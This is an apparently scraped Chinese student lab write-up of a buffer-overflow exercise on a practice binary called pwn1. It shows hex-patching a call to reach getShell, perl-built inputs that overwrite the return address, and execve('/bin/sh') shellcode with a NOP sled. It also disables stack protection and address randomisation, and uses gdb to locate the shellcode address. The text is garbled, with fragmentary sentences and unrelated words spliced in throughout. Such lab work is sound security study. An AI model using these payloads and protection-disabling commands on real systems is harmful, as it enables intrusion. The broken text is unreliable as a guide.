cut
命令,將一行內的數據進行分解進入共享文件目錄/mnt/hgfs/share
中,下載目標文件pwn1,輸入objdump -d pwn1
反彙編獲得下圖代碼html
計算出須要修改的地址。計算方法:e8這條指令會使CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。80484ba +d7ffffff= 80484ba-0x29正好是8048491。所以想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。直接 47d-4ba就能獲得補碼,是c3ffffff。linux
編輯pwn1文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff
shell
如下操做是在vi內 1. 按ESC鍵 2. 輸入以下,將顯示模式切換爲16進制模式 :%!xxd 3. 查找要修改的內容 /e8d7 4. 找到後先後的內容和反彙編的對比下,確認是地方是正確的 5. 修改d7爲c3 6. 轉換16進製爲原格式 :%!xxd -r 7. 存盤退出vi :wq
./pwn1
運行改後的代碼,會獲得shell提示符:
windows
32字節
的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址80484ae
1111111122222222333333334444444412345678
,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲getShell的內存地址,輸入給pwn1,pwn1就會運行getShell0804847d
11111111222222223333333344444444\x7d\x84\x04\x08
\x7d\x84\x04\x08
這樣的16進制值,因此須要使用prel方法先生成包括這樣字符串的一個文件,將getshell的內存地址寫入輸入字符串中,\x0a
表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
可使用16進制查看指令xxd查看input文件的內容是否如預期。
sass
將input的輸入,經過管道符「|」,做爲pwn1的輸入。服務器
(cat input; cat) | ./pwn1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
apt-get install execstack //安裝execstack命令 execstack -s pwn1 //設置堆棧可執行 execstack -q pwn1 //查詢文件的堆棧是否可執行 more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化 echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
Linux下有兩種基本構造攻擊buf的方法: 1.retaddr+nop+shellcode 2.
nop+shellcode+retaddr
由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。
簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
咱們這個buf夠放這個shellcode了
結構爲:nops+shellcode+retaddr。
nop一爲是了填充,二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。網絡
\x04\x03\x02\x01
爲預留的返回地址retaddr:perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 上面最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們得把它改成這段shellcode的地址。 特別提醒:最後一個字符千萬不能是\x0a。否則下面的操做就作不了了。
肯定\x4\x3\x2\x1到底該填什麼。dom
(cat input_shellcode;cat) | ./pwn20165230
ps -ef | grep pwn20165230
命令找到pwn20165230的進程號是:34424:gdb pwn20165230
、attach
命令啓動gdb調試這個進程:disassemble foo
命令反彙編,經過設置斷點,來查看注入buf的內存地址:break *0x080484ae
命令設置斷點,輸入c
命令(continue)繼續運行info r esp
命令查找地址:x/16x 0xffffd28c
命令查看其存放內容,看到了0x01020304
,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址應爲0xffffd290
:接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可,用命令函數
perl -e 'print "A" x 32;print "\x90\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
0x01020304
正確的結果,因而從新copy了pwn文件到共享文件夾中,並重命名爲pwn20165230,便可獲得正確結果,應養成備份的好習慣刪除找到的全部*.lck臨時文件,再次啓用就ok了學習